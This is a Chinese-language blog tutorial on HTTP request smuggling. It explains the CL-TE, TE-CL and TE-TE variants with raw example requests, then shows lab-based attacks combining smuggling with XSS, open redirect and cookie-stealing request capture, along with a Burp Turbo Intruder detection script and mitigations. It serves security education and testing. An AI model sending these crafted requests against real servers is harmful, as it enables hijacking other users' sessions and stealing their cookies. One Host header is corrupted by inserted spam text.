怎么浅析HTTP走私攻击,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。 1.什么是HTTP请求走私 在复杂的网络环境下,不同的服务器以不同的方式实现RFC标准,利用前后端服务器对数据包的边界了解不一致的情况下,向一个请求数据包中插入下一个请求数据包的一部分,在前端服务器角度看来,它属于一个完整的请求,而在后端服务器看来,它属于两次请求,前端请求的一部分被后端服务器解释为下一个请求的开始。因此,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。
2.产生的原因 在HTTP1.1后,增加了一个特殊的请求头Connection: Keep-Alive,建立tcp持续通道,进行一次tcp握手,就能传送多个请求。但这样子只能是请求一次响应一次。为了提高数据传输的效率,减少阻塞。后来就有了HTTP Pipelining(管线化)字段,它是将多个http请求批量提交,而不用等收到响应再提交的异步技术。如下图就是使用Pipelining和非Pipelining
这意味着前端与后端必须短时间内对每个数据包的边界大小达成一致,否则,攻击者就可以构造发送一个特殊的数据包,在前端看来它是一个请求,但在后端却被解释为了两个不同的HTTP请求。这就导致攻击者可以在下一个用户发送的合法数据包前恶意添加内容。如图,走私的内容(“前缀”),以橙色突出显示:
假设前端考虑的是内容长度头部(Content-Length)值作为数据包结束的边界,后端优先考虑的是Transfer-Encoding头部。那么从后端角度看,如下图蓝色部份字体属于一个数据包,而红色部份字体属于下一个数据包的开始部份。这样就成功从前端“走私”了一个数据包。
3.攻击类别 3.1.CL不为0的GET请求 假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length头,不进行处理。这就有可能导致请求走私。 比如发送下面请求 GET / HTTP/1.1 Host:example.com Content-Length:44 GET /socket HTTP/1.1 Host: example.com 前端服务器通过读取Content-Length,确认这是个完整的请求,然后转发到后端服务器,而后端服务器因为不对Content-Length进行判断,由于Pipeline的存在,它认为这是两个请求,分别为 第一个 GET / HTTP/1.1 Host: example.com 第二个 GET /socket HTTP/1.1 Host: example.com 则相当于走私了请求 3.2 CL-CL 在RFC7230规范中,规定当服务器收到的请求中包含两个 Content-Length,而且两者的值不同时,需要返回400错误。但难免会有服务器不严格遵守该规范。假设前端和后端服务器都收到该类请求,且不报错,其中前端服务器按照第一个Content-Length的值对请求进行为数据包定界,而后端服务器则按照第二个Content-Length的值进行处理。 这时攻击者可以恶意构造一个特殊的请求, POST / HTTP/1.1 Host: example.com Content-Length: 6 Content-Length: 5 123 A CDN服务器获取到的数据包的长度6,将上述整个数据包转发给后端的服务器,而后端服务器获取到的数据包长度为5。当读取完前5个字符后,后端服务器认为该请求已经读取完毕,然后发送出去。而此时的缓冲区去还剩余一个字母 A,对于后端服务器来说,这个 A是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,则该A字母会拼凑到下一个正常用户请求的前面,攻击在此展开。 3.3 CL-TE 所谓CL-TE,顾名思义就是收到包含Content-Length和Transfer-Encoding这两个请求头d的请求时,前端代理服务器按照Content-Length这一请求头定界,而后端服务器则以Transfer-Encoding请求头为标准。 构造数据包 POST / HTTP/1.1 Host: example.com Content-Length: 16 Transfer-Encoding: chunked 0 chunkedcode 前端服务器处理Content-Length头并确定请求主体长度为16个字节,直到chunkedcode结束。此请求将转发到后端服务器。 后端服务器处理Transfer-Encoding标头,因此将消息体视为使用分块编码。它处理第一个块,它被称为零长度,因此被视为终止请求。缓冲区内还剩下chunkedcode,由于存在pipeline技术,后端服务器将这些字节视为队列中下一个请求的开始。 在做之前记得要把 BurpSuite 的自动更新 Content-Length 功能取消了。 注意:需要发送两次请求 3.4 TE-CL 这种情况则属于前端服务器处理Transfer-Encoding请求头,而后端服务器处理Content-Length请求头。 构造数据包 Host:example.com Content-Length: 3 Transfer-Encoding: chunked chunkedcode 0 注意0后面加两个rn 前端服务器处理Transfer-Encoding请求头,因此将消息体视为使用分块编码,处理第一块时,有11个字节,直到chunkedcodede的最后一个字节。开始处理第二个块,第二块是0个字节,视为终止请求。此时把请求转发到后端。而后端则在11处完成了对第一个数据包的读取,chunkedcodern0为下一个数据包的开始部份 在做之前记得要把 BurpSuite 的自动更新 Content-Length 功能取消了。 注意:需要发送两次请求 3.5 TE-TE 前端服务器处理第一个Transfer-Encoding请求头,后端服务器处理第二个Transfer-Encoding请求头。 构造数据包 Host:example.com Content-length: 3 Transfer-Encoding: chunked Transfer-encoding: error chunkedcode 0 这里是用了两个Transfer-Encoding 字段,并且第二个 TE 字段值为错误值,这里 前端服务器选择对第一个 Transfer-Encoding进行处理,整个请求正常,原封不动转发给后端服务器,而后端服务器则以第二个Transfer-Encoding 字段进行优先处理,而第二个Transfer-Encoding 字段非标准值,根据RPC规范,则会取Content-Length字段进行处理,这样这个请求就会被拆分为两个请求。 在做之前记得要把 BurpSuite 的自动更新 Content-Length 功能取消了。 注意:需要发送两次请求 4.攻击扩展 4.1.smuggling+reflected xss 单纯的UA处的xss并没有什么危害,但可以结合请求走私攻击进行利用来提升危害 我们可以构造以下数据包,只要发送一次 POST / HTTP/1.1 Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8 Content-Type: application/x-www-form-urlencoded Content-Length: 150 Transfer-Encoding: chunked 0 GET /post?postId=3 HTTP/1.1 User-Agent: “> Content-Type: application/x-www-form-urlencoded Content-Length: 5 x=1
会在该网站的任意页面触发xss,因为在http序列中,走私的请求会插到用户对网站的请求前面
4.2 direct+smuggling 该场景基于url跳转,把用户重定向到一个固定网页,lab为我们提供个跳转api,/post/next?postId=3路由跳转到的是/post?postId=4。 此时我们可以利用走私攻击并配合重定向进行钓鱼。 发送以下数据包一次: POST / HTTP/1.1 Host: ac501fd21fceba4f80de460400140045.web-security-academy.net Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36 Sec-Fetch-Dest: document Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ Content-Type: application/x-www-form-urlencoded Content-Length: 178 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: ac501fd21fceba4f80de4604免费云主机域名00140045.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 然后访问原网站任意页面,都会被重定向到/post?postId=4 4.3窃取用户请求 利用走私攻击捕捉用户请求数据包,窃取cookie 我们在发送评论处的api接口构造请求包如下 发送以下数据包 POST / HTTP/1.1 Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net Connection: close Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p Content-Type: application/x-www-form-urlencoded Content-Length: 343 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net Content-Length: 600 Content-Type: application/x-www-form-urlencoded Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123%40qq.com&website=https%3A%2F%2F 成功把用户的请求拼接到走私请求的comment参数上,如下图
5.案例
该案例利用的是CL-TE的攻击方式。根据RFC,当Content-Length和Transfer-Encoding两个标头同时出现在同一请求包时,Transfer-Encoding始终被优先处理。但是,如果Transfer-Encoding标头格式错误,则前端服务器和后端服务器之间的对请求的解释可能会有所不同。在该站点上发现的CLTE问题是,在请求包中Transfer-Encoding 和:之间加多一个空格,使该字段的格式为非标准值,此时前端服务器依据RPC规范,优先处理Content-Length,而后端服务器并没严格遵守RPC规范,以Transfer-Encoding为依据进行处理数据包。 恶意请求的说明:
可见用户的正常请求被拼接到X字段,而X请求头非标准请求头,故忽略,而该用户的cookie字段也被拼接到了该走私的请求上 在Burp Collaborator Client上能成功窃取到用户的cookie
6.测试工具 在burpsuite上查找到请求包,右键lauch smuggle probe,随后在burpsuite的扫描结果上显示报告
进一步确定漏洞 右键点击”smuggle attack(CL.TE)” 出现Turbo Intruder脚本 # if you edit this file, ensure you keep the line endings as CRLF or you’ll have a bad time def queueRequests(target, wordlists): # to use Burp’s HTTP stack for upstream proxy rules etc, use engine=Engine.BURP engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0, engine=Engine.THREADED, # This will prefix the victim’s request. Edit it to achieve the desired effect. prefix = ”’GET /hopefully404 HTTP/1.1 X-Ignore: X”’ //走私一个uri为/hopefully404的请求包,下一个用户的请求会拼接到X-Ignore字段后面,因此要是存在走私漏洞,则会返回一个状态码为404的数据包 # The request engine will auto-fix the content-length for us attack = target.req + prefix engine.queue(attack) victim = target.req for i in range(14): engine.queue(victim) time.sleep(0.05) def handleResponse(req, interesting): table.add(req) 点击”attack”进行爆破测试 看到存在404状态码的数据包,说明存在http走私漏洞
修复方案: 1、前端服务器对前段输入规范化 2、前端服务器使用HTTP2.0 3、后端服务器丢弃非正常请求关于怎么浅析HTTP走私攻击问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注云编程开发博客行业资讯频道了解更多相关知识。
相关推荐: 如何使用Apk-Medit对APK进行内存搜索和数据修改
小编给大家分享一下如何使用Apk-Medit对APK进行内存搜索和数据修改,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!首先,我们需要访问该项目的来下载该项目源码。下载完成之后,我们…
免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。